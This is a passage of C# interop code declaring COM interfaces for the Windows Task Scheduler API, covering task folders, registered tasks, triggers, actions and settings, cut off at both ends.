MarshalAs(UnmanagedType.Interface)] set; }\n        string Body { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; }\n        object[] Attachments { [return: MarshalAs(UnmanagedType.SafeArray, SafeArraySubType = VarEnum.VT_VARIANT)] get; [param: In, MarshalAs(UnmanagedType.SafeArray, SafeArraySubType = VarEnum.VT_VARIANT)] set; }\n    }\n\n    [ComImport, Guid(\"D45B0167-9653-4EEF-B94F-0732CA7AF251\"), InterfaceType(ComInterfaceType.InterfaceIsDual), System.Security.SuppressUnmanagedCodeSecurity]\n    internal interface IEventTrigger : ITrigger\n    {\n        new TaskTriggerType Type { get; }\n        new string Id { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; }\n        new IRepetitionPattern Repetition { [return: MarshalAs(UnmanagedType.Interface)] get; [param: In, MarshalAs(UnmanagedType.Interface)] set; }\n        new string ExecutionTimeLimit { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; }\n        new string StartBoundary { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; }\n        new string EndBoundary { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; }\n        new bool Enabled { get; [param: In] set; }\n\n        string Subscription { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; }\n        string Delay { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; }\n        ITaskNamedValueCollection ValueQueries { [return: MarshalAs(UnmanagedType.Interface)] get; [param: In, MarshalAs(UnmanagedType.Interface)] set; }\n    }\n\n    [ComImport, Guid(\"4C3D624D-FD6B-49A3-B9B7-09CB3CD3F047\"), InterfaceType(ComInterfaceType.InterfaceIsDual), System.Security.SuppressUnmanagedCodeSecurity]\n    internal interface IExecAction : IAction\n    {\n        new string Id { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; }\n        new TaskActionType Type { get; }\n\n        string Path { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; }\n        string Arguments { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; }\n        string WorkingDirectory { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; }\n    }\n\n    [ComImport, Guid(\"84594461-0053-4342-A8FD-088FABF11F32\"), InterfaceType(ComInterfaceType.InterfaceIsDual), System.Security.SuppressUnmanagedCodeSecurity]\n    internal interface IIdleSettings\n    {\n        string IdleDuration { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; }\n        string WaitTimeout { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; }\n        bool StopOnIdleEnd { get; [param: In] set; }\n        bool RestartOnIdle { get; [param: In] set; }\n    }\n\n    [ComImport, Guid(\"D537D2B0-9FB3-4D34-9739-1FF5CE7B1EF3\"), InterfaceType(ComInterfaceType.InterfaceIsDual), System.Security.SuppressUnmanagedCodeSecurity]\n    internal interface IIdleTrigger : ITrigger\n    {\n        new TaskTriggerType Type { get; }\n        new string Id { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; }\n        new IRepetitionPattern Repetition { [return: MarshalAs(UnmanagedType.Interface)] get; [param: In, MarshalAs(UnmanagedType.Interface)] set; }\n        new string ExecutionTimeLimit { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; }\n        new string StartBoundary { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; }\n        new string EndBoundary { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; }\n        new bool Enabled { get; [param: In] set; }\n    }\n\n    [ComImport, Guid(\"72DADE38-FAE4-4B3E-BAF4-5D009AF02B1C\"), InterfaceType(ComInterfaceType.InterfaceIsDual), System.Security.SuppressUnmanagedCodeSecurity]\n    internal interface ILogonTrigger : ITrigger\n    {\n        new TaskTriggerType Type { get; }\n        new string Id { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; }\n        new IRepetitionPattern Repetition { [return: MarshalAs(UnmanagedType.Interface)] get; [param: In, MarshalAs(UnmanagedType.Interface)] set; }\n        new string ExecutionTimeLimit { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; }\n        new string StartBoundary { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; }\n        new string EndBoundary { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; }\n        new bool Enabled { get; [param: In] set; }\n\n        string Delay { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; }\n        string UserId { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; }\n    }\n\n    [ComImport, Guid(\"77D025A3-90FA-43AA-B52E-CDA5499B946A\"), InterfaceType(ComInterfaceType.InterfaceIsDual), System.Security.SuppressUnmanagedCodeSecurity]\n    internal interface IMonthlyDOWTrigger : ITrigger\n    {\n        new TaskTriggerType Type { get; }\n        new string Id { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; }\n        new IRepetitionPattern Repetition { [return: MarshalAs(UnmanagedType.Interface)] get; [param: In, MarshalAs(UnmanagedType.Interface)] set; }\n        new string ExecutionTimeLimit { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; }\n        new string StartBoundary { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; }\n        new string EndBoundary { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; }\n        new bool Enabled { get; [param: In] set; }\n\n        short DaysOfWeek { get; [param: In] set; }\n        short WeeksOfMonth { get; [param: In] set; }\n        short MonthsOfYear { get; [param: In] set; }\n        bool RunOnLastWeekOfMonth { get; [param: In] set; }\n        string RandomDelay { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; }\n    }\n\n    [ComImport, Guid(\"97C45EF1-6B02-4A1A-9C0E-1EBFBA1500AC\"), InterfaceType(ComInterfaceType.InterfaceIsDual), System.Security.SuppressUnmanagedCodeSecurity]\n    internal interface IMonthlyTrigger : ITrigger\n    {\n        new TaskTriggerType Type { get; }\n        new string Id { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; }\n        new IRepetitionPattern Repetition { [return: MarshalAs(UnmanagedType.Interface)] get; [param: In, MarshalAs(UnmanagedType.Interface)] set; }\n        new string ExecutionTimeLimit { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; }\n        new string StartBoundary { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; }\n        new string EndBoundary { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; }\n        new bool Enabled { get; [param: In] set; }\n\n        int DaysOfMonth { get; [param: In] set; }\n        short MonthsOfYear { get; [param: In] set; }\n        bool RunOnLastDayOfMonth { get; [param: In] set; }\n        string RandomDelay { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; }\n    }\n\n    [ComImport, Guid(\"9F7DEA84-C30B-4245-80B6-00E9F646F1B4\"), InterfaceType(ComInterfaceType.InterfaceIsDual), System.Security.SuppressUnmanagedCodeSecurity]\n    internal interface INetworkSettings\n    {\n        string Name { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; }\n        string Id { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; }\n    }\n\n    [ComImport, Guid(\"D98D51E5-C9B4-496A-A9C1-18980261CF0F\"), InterfaceType(ComInterfaceType.InterfaceIsDual), System.Security.SuppressUnmanagedCodeSecurity]\n    internal interface IPrincipal\n    {\n        string Id { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; }\n        string DisplayName { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; }\n        string UserId { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; }\n        TaskLogonType LogonType { get; set; }\n        string GroupId { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; }\n        TaskRunLevel RunLevel { get; set; }\n    }\n\n    [ComImport, Guid(\"248919AE-E345-4A6D-8AEB-E0D3165C904E\"), InterfaceType(ComInterfaceType.InterfaceIsDual), System.Security.SuppressUnmanagedCodeSecurity]\n    internal interface IPrincipal2\n    {\n        TaskProcessTokenSidType ProcessTokenSidType { get; [param: In] set; }\n        int RequiredPrivilegeCount { get; }\n        string this[int index] { [return: MarshalAs(UnmanagedType.BStr)] get; }\n        void AddRequiredPrivilege([In, MarshalAs(UnmanagedType.BStr)] string privilege);\n    }\n\n    [ComImport, Guid(\"9C86F320-DEE3-4DD1-B972-A303F26B061E\"), InterfaceType(ComInterfaceType.InterfaceIsDual), System.Security.SuppressUnmanagedCodeSecurity, DefaultMember(\"Path\")]\n    internal interface IRegisteredTask\n    {\n        string Name { [return: MarshalAs(UnmanagedType.BStr)] get; }\n        string Path { [return: MarshalAs(UnmanagedType.BStr)] get; }\n        TaskState State { get; }\n        bool Enabled { get; set; }\n        [return: MarshalAs(UnmanagedType.Interface)]\n        IRunningTask Run([In, MarshalAs(UnmanagedType.Struct)] object parameters);\n        [return: MarshalAs(UnmanagedType.Interface)]\n        IRunningTask RunEx([In, MarshalAs(UnmanagedType.Struct)] object parameters, [In] int flags, [In] int sessionID, [In, MarshalAs(UnmanagedType.BStr)] string user);\n        [return: MarshalAs(UnmanagedType.Interface)]\n        IRunningTaskCollection GetInstances(int flags);\n        DateTime LastRunTime { get; }\n        int LastTaskResult { get; }\n        int NumberOfMissedRuns { get; }\n        DateTime NextRunTime { get; }\n        ITaskDefinition Definition { [return: MarshalAs(UnmanagedType.Interface)] get; }\n        string Xml { [return: MarshalAs(UnmanagedType.BStr)] get; }\n        [return: MarshalAs(UnmanagedType.BStr)]\n        string GetSecurityDescriptor(int securityInformation);\n        void SetSecurityDescriptor([In, MarshalAs(UnmanagedType.BStr)] string sddl, [In] int flags);\n        void Stop(int flags);\n        [MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime), DispId(0x60020011)]\n        void GetRunTimes([In] ref NativeMethods.SYSTEMTIME pstStart, [In] ref NativeMethods.SYSTEMTIME pstEnd, [In, Out] ref uint pCount, [In, Out] ref IntPtr pRunTimes);\n    }\n\n    [ComImport, Guid(\"86627EB4-42A7-41E4-A4D9-AC33A72F2D52\"), InterfaceType(ComInterfaceType.InterfaceIsDual), System.Security.SuppressUnmanagedCodeSecurity]\n    internal interface IRegisteredTaskCollection\n    {\n        int Count { get; }\n        IRegisteredTask this[object index] { [return: MarshalAs(UnmanagedType.Interface)] get; }\n        [return: MarshalAs(UnmanagedType.Interface)]\n        IEnumerator GetEnumerator();\n    }\n\n    [ComImport, Guid(\"416D8B73-CB41-4EA1-805C-9BE9A5AC4A74\"), InterfaceType(ComInterfaceType.InterfaceIsDual), System.Security.SuppressUnmanagedCodeSecurity]\n    internal interface IRegistrationInfo\n    {\n        string Description { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; }\n        string Author { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; }\n        string Version { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; }\n        string Date { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; }\n        string Documentation { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; }\n        string XmlText { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; }\n        string URI { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; }\n        object SecurityDescriptor { [return: MarshalAs(UnmanagedType.Struct)] get; [param: In, MarshalAs(UnmanagedType.Struct)] set; }\n        string Source { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; }\n    }\n\n    [ComImport, Guid(\"4C8FEC3A-C218-4E0C-B23D-629024DB91A2\"), InterfaceType(ComInterfaceType.InterfaceIsDual), System.Security.SuppressUnmanagedCodeSecurity]\n    internal interface IRegistrationTrigger : ITrigger\n    {\n        new TaskTriggerType Type { get; }\n        new string Id { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; }\n        new IRepetitionPattern Repetition { [return: MarshalAs(UnmanagedType.Interface)] get; [param: In, MarshalAs(UnmanagedType.Interface)] set; }\n        new string ExecutionTimeLimit { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; }\n        new string StartBoundary { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; }\n        new string EndBoundary { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; }\n        new bool Enabled { get; [param: In] set; }\n\n        string Delay { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; }\n    }\n\n    [ComImport, Guid(\"7FB9ACF1-26BE-400E-85B5-294B9C75DFD6\"), InterfaceType(ComInterfaceType.InterfaceIsDual), System.Security.SuppressUnmanagedCodeSecurity]\n    internal interface IRepetitionPattern\n    {\n        string Interval { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; }\n        string Duration { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; }\n        bool StopAtDurationEnd { get; [param: In] set; }\n    }\n\n    [ComImport, Guid(\"653758FB-7B9A-4F1E-A471-BEEB8E9B834E\"), InterfaceType(ComInterfaceType.InterfaceIsDual), System.Security.SuppressUnmanagedCodeSecurity, DefaultMember(\"InstanceGuid\")]\n    internal interface IRunningTask\n    {\n        string Name { [return: MarshalAs(UnmanagedType.BStr)] get; }\n        string InstanceGuid { [return: MarshalAs(UnmanagedType.BStr)] get; }\n        string Path { [return: MarshalAs(UnmanagedType.BStr)] get; }\n        TaskState State { get; }\n        string CurrentAction { [return: MarshalAs(UnmanagedType.BStr)] get; }\n        void Stop();\n        void Refresh();\n        uint EnginePID { get; }\n    }\n\n    [ComImport, Guid(\"6A67614B-6828-4FEC-AA54-6D52E8F1F2DB\"), InterfaceType(ComInterfaceType.InterfaceIsDual), System.Security.SuppressUnmanagedCodeSecurity]\n    internal interface IRunningTaskCollection\n    {\n        int Count { get; }\n        IRunningTask this[object index] { [return: MarshalAs(UnmanagedType.Interface)] get; }\n        [return: MarshalAs(UnmanagedType.Interface)]\n        IEnumerator GetEnumerator();\n    }\n\n    [ComImport, InterfaceType(ComInterfaceType.InterfaceIsDual), Guid(\"754DA71B-4385-4475-9DD9-598294FA3641\"), System.Security.SuppressUnmanagedCodeSecurity]\n    internal interface ISessionStateChangeTrigger : ITrigger\n    {\n        new TaskTriggerType Type { get; }\n        new string Id { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; }\n        new IRepetitionPattern Repetition { [return: MarshalAs(UnmanagedType.Interface)] get; [param: In, MarshalAs(UnmanagedType.Interface)] set; }\n        new string ExecutionTimeLimit { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; }\n        new string StartBoundary { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; }\n        new string EndBoundary { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; }\n        new bool Enabled { get; [param: In] set; }\n\n        string Delay { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; }\n        string UserId { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; }\n        TaskSessionStateChangeType StateChange { get; [param: In] set; }\n    }\n\n    [ComImport, Guid(\"505E9E68-AF89-46B8-A30F-56162A83D537\"), InterfaceType(ComInterfaceType.InterfaceIsDual), System.Security.SuppressUnmanagedCodeSecurity]\n    internal interface IShowMessageAction : IAction\n    {\n        new string Id { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; }\n        new TaskActionType Type { get; }\n\n        string Title { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; }\n        string MessageBody { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; }\n    }\n\n    [ComImport, Guid(\"F5BC8FC5-536D-4F77-B852-FBC1356FDEB6\"), InterfaceType(ComInterfaceType.InterfaceIsDual), System.Security.SuppressUnmanagedCodeSecurity]\n    internal interface ITaskDefinition\n    {\n        IRegistrationInfo RegistrationInfo { [return: MarshalAs(UnmanagedType.Interface)] get; [param: In, MarshalAs(UnmanagedType.Interface)] set; }\n        ITriggerCollection Triggers { [return: MarshalAs(UnmanagedType.Interface)] get; [param: In, MarshalAs(UnmanagedType.Interface)] set; }\n        ITaskSettings Settings { [return: MarshalAs(UnmanagedType.Interface)] get; [param: In, MarshalAs(UnmanagedType.Interface)] set; }\n        string Data { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; }\n        IPrincipal Principal { [return: MarshalAs(UnmanagedType.Interface)] get; [param: In, MarshalAs(UnmanagedType.Interface)] set; }\n        IActionCollection Actions { [return: MarshalAs(UnmanagedType.Interface)] get; [param: In, MarshalAs(UnmanagedType.Interface)] set; }\n        string XmlText { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; }\n    }\n\n    [ComImport, Guid(\"8CFAC062-A080-4C15-9A88-AA7C2AF80DFC\"), InterfaceType(ComInterfaceType.InterfaceIsDual), System.Security.SuppressUnmanagedCodeSecurity, DefaultMember(\"Path\")]\n    internal interface ITaskFolder\n    {\n        string Name { [return: MarshalAs(UnmanagedType.BStr)] get; }\n        string Path { [return: MarshalAs(UnmanagedType.BStr)] get; }\n        [return: MarshalAs(UnmanagedType.Interface)]\n        ITaskFolder GetFolder([MarshalAs(UnmanagedType.BStr)] string Path);\n        [return: MarshalAs(UnmanagedType.Interface)]\n        ITaskFolderCollection GetFolders(int flags);\n        [return: MarshalAs(UnmanagedType.Interface)]\n        ITaskFolder CreateFolder([In, MarshalAs(UnmanagedType.BStr)] string subFolderName, [In, Optional, MarshalAs(UnmanagedType.Struct)] object sddl);\n        void DeleteFolder([MarshalAs(UnmanagedType.BStr)] string subFolderName, [In] int flags);\n        [return: MarshalAs(UnmanagedType.Interface)]\n        IRegisteredTask GetTask([MarshalAs(UnmanagedType.BStr)][NotNull] string Path);\n        [return: MarshalAs(UnmanagedType.Interface)]\n        IRegisteredTaskCollection GetTasks(int flags);\n        void DeleteTask([In, MarshalAs(UnmanagedType.BStr)][NotNull] string Name, [In] int flags);\n        [return: MarshalAs(UnmanagedType.Interface)]\n        IRegisteredTask RegisterTask([In, MarshalAs(UnmanagedType.BStr)][NotNull] string Path, [In, MarshalAs(UnmanagedType.BStr)][NotNull] string XmlText, [In] int flags, [In, MarshalAs(UnmanagedType.Struct)] object UserId, [In, MarshalAs(UnmanagedType.Struct)] object password, [In] TaskLogonType LogonType, [In, Optional, MarshalAs(UnmanagedType.Struct)] object sddl);\n        [return: MarshalAs(UnmanagedType.Interface)]\n        IRegisteredTask RegisterTaskDefinition([In, MarshalAs(UnmanagedType.BStr)][NotNull] string Path, [In, MarshalAs(UnmanagedType.Interface)][NotNull] ITaskDefinition pDefinition, [In] int flags, [In, MarshalAs(UnmanagedType.Struct)] object UserId, [In, MarshalAs(UnmanagedType.Struct)] object password, [In] TaskLogonType LogonType, [In, Optional, MarshalAs(UnmanagedType.Struct)] object sddl);\n        [return: MarshalAs(UnmanagedType.BStr)]\n        string GetSecurityDescriptor(int securityInformation);\n        void SetSecurityDescriptor([In, MarshalAs(UnmanagedType.BStr)] string sddl, [In] int flags);\n    }\n\n    [ComImport, Guid(\"79184A66-8664-423F-97F1-637356A5D812\"), InterfaceType(ComInterfaceType.InterfaceIsDual), System.Security.SuppressUnmanagedCodeSecurity]\n    internal interface ITaskFolderCollection\n    {\n        int Count { get; }\n        ITaskFolder this[object index] { [return: MarshalAs(UnmanagedType.Interface)] get; }\n        [return: MarshalAs(UnmanagedType.Interface)]\n        IEnumerator GetEnumerator();\n    }\n\n    [ComImport, Guid(\"B4EF826B-63C3-46E4-A504-EF69E4F7EA4D\"), InterfaceType(ComInterfaceType.InterfaceIsDual), System.Security.SuppressUnmanagedCodeSecurity]\n    internal interface ITaskNamedValueCollection\n    {\n        int Count { get; }\n        ITaskNamedValuePair this[int index] { [return: MarshalAs(UnmanagedType.Interface)] get; }\n        [return: MarshalAs(UnmanagedType.Interface)]\n        IEnumerator GetEnumerator();\n        [return: MarshalAs(UnmanagedType.Interface)]\n        ITaskNamedValuePair Create([In, MarshalAs(UnmanagedType.BStr)][NotNull] string Name, [In, MarshalAs(UnmanagedType.BStr)] string Value);\n        void Remove([In] int index);\n        void Clear();\n    }\n\n    [ComImport, Guid(\"39038068-2B46-4AFD-8662-7BB6F868D221\"), InterfaceType(ComInterfaceType.InterfaceIsDual), System.Security.SuppressUnmanagedCodeSecurity, DefaultMember(\"Name\")]\n    internal interface ITaskNamedValuePair\n    {\n        string Name { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; }\n        string Value { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; }\n    }\n\n    [ComImport, DefaultMember(\"TargetServer\"), Guid(\"2FABA4C7-4DA9-4013-9697-20CC3FD40F85\"), System.Security.SuppressUnmanagedCodeSecurity, CoClass(typeof(TaskSchedulerClass))]\n    internal interface ITaskService\n    {\n        [return: MarshalAs(UnmanagedType.Interface)]\n        [MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime), DispId(1)]\n        ITaskFolder GetFolder([In, MarshalAs(UnmanagedType.BStr)][NotNull] string Path);\n        [return: MarshalAs(UnmanagedType.Interface)]\n        [MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime), DispId(2)]\n        IRunningTaskCollection GetRunningTasks(int flags);\n        [return: MarshalAs(UnmanagedType.Interface)]\n        [MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime), DispId(3)]\n        ITaskDefinition NewTask([In] uint flags);\n        [MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime), DispId(4)]\n        void Connect([In, Optional, MarshalAs(UnmanagedType.Struct)] object serverName, [In, Optional, MarshalAs(UnmanagedType.Struct)] object user, [In, Optional, MarshalAs(UnmanagedType.Struct)] object domain, [In, Optional, MarshalAs(UnmanagedType.Struct)] object password);\n        [DispId(5)]\n        bool Connected { [MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime), DispId(5)] get; }\n        [DispId(0)]\n        string TargetServer { [return: MarshalAs(UnmanagedType.BStr)][MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime), DispId(0)] get; }\n        [DispId(6)]\n        string ConnectedUser { [return: MarshalAs(UnmanagedType.BStr)][MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime), DispId(6)] get; }\n        [DispId(7)]\n        string ConnectedDomain { [return: MarshalAs(UnmanagedType.BStr)][MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime), DispId(7)] get; }\n        [DispId(8)]\n        uint HighestVersion { [MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime), DispId(8)] get; }\n    }\n\n    [ComImport, DefaultMember(\"TargetServer\"), Guid(\"0F87369F-A4E5-4CFC-BD3E-73E6154572DD\"), ClassInterface((short)0), System.Security.SuppressUnmanagedCodeSecurity]\n    internal class TaskSchedulerClass\n    {\n    }\n\n    [ComImport, Guid(\"8FD4711D-2D02-4C8C-87E3-EFF699DE127E\"), InterfaceType(ComInterfaceType.InterfaceIsDual), System.Security.SuppressUnmanagedCodeSecurity]\n    internal interface ITaskSettings\n    {\n        bool AllowDemandStart { get; [param: In] set; }\n        string RestartInterval { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; }\n        int RestartCount { get; [param: In] set; }\n        TaskInstancesPolicy MultipleInstances { get; [param: In] set; }\n        bool StopIfGoingOnBatteries { get; [param: In] set; }\n        bool DisallowStartIfOnBatteries { get; [param: In] set; }\n        bool AllowHardTerminate { get; [param: In] set; }\n        bool StartWhenAvailable { get; [param: In] set; }\n        string XmlText { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; }\n        bool RunOnlyIfNetworkAvailable { get; [param: In] set; }\n        string ExecutionTimeLimit { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; }\n        bool Enabled { get; [param: In] set; }\n        string DeleteExpiredTaskAfter { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; }\n        int Priority { get; [param: In] set; }\n        TaskCompatibility Compatibility { get; [param: In] set; }\n        bool Hidden { get; [param: In] set; }\n        IIdleSettings IdleSettings { [return: MarshalAs(UnmanagedType.Interface)] get; [param: In, MarshalAs(UnmanagedType.Interface)] set; }\n        bool RunOnlyIfIdle { get; [param: In] set; }\n        bool WakeToRun { get; [param: In] set; }\n        INetworkSettings NetworkSettings { [return: MarshalAs(UnmanagedType.Interface)] get; [param: In, MarshalAs(UnmanagedType.Interface)] set; }\n    }\n\n    [ComImport, Guid(\"2C05C3F0-6EED-4c05-A15F-ED7D7A98A369\"), InterfaceType(ComInterfaceType.InterfaceIsDual), System.Security.SuppressUnmanagedCodeSecurity]\n    internal interface ITaskSettings2\n    {\n        bool DisallowStartOnRemoteAppSession { get; [param: In] set; }\n        bool UseUnifiedSchedulingEngine { get; [param: In] set; }\n    }\n\n    [ComImport, Guid(\"0AD9D0D7-0C7F-4EBB-9A5F-D1C648DCA528\"), InterfaceType(ComInterfaceType.InterfaceIsDual), System.Security.SuppressUnmanagedCodeSecurity]\n    internal interface ITaskSettings3 : ITaskSettings\n    {\n        new bool AllowDemandStart { get; [param: In] set; }\n        new string RestartInterval { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; }\n        new int RestartCount { get; [param: In] set; }\n        new TaskInstancesPolicy MultipleInstances { get; [param: In] set; }\n        new bool StopIfGoingOnBatteries { get; [param: In] set; }\n        new bool DisallowStartIfOnBatteries { get; [param: In] set; }\n        new bool AllowHardTerminate { get; [param: In] set; }\n        new bool StartWhenAvailable { get; [param: In] set; }\n        new string XmlText { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; }\n        new bool RunOnlyIfNetworkAvailable { get; [param: In] set; }\n        new string ExecutionTimeLimit { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; }\n        new bool Enabled { get; [param: In] set; }\n        new string DeleteExpiredTaskAfter { [return: MarshalAs(UnmanagedType.BStr)] get; [param: In, MarshalAs(UnmanagedType.BStr)] set; }\n        new int Priority { get; [param: In] set; }\n        new TaskCompatibility Compatibility { get; [param: In] set; }\n        new bool Hidden { get; [param: In] set; }\n        new IIdleSettings IdleSettings { [return: MarshalAs(UnmanagedType.Interface)] get; [param: In, MarshalAs(UnmanagedType.Interface)] set; }\n        new bool RunOnlyIfIdle { get; [param: In] set; }\n        new bool WakeToRun { get; [param: In] set; }\n        new INetworkSettings NetworkSettings { [return: MarshalAs(UnmanagedType.Interface)] get; [param: In, MarshalAs(UnmanagedType.Interface)] set; }\n\n        bool DisallowStartOnRemoteAppSession { get; [param: In] set; }\n        bool UseUnifiedSchedulingEngine { get; [param: In] set; }\n        IMaintenanceSettings MaintenanceSettings { [return: MarshalAs(UnmanagedType.Interface)] get; [param: In, MarshalAs(UnmanagedType.Interface)] set; }\n        [return: MarshalAs(UnmanagedType.Interface)]\n        IMaintenanceSettings CreateMaintenanceSettings();\n        bool Volatile { get; [param: In] set; }\n    }\n\n    [ComImport, 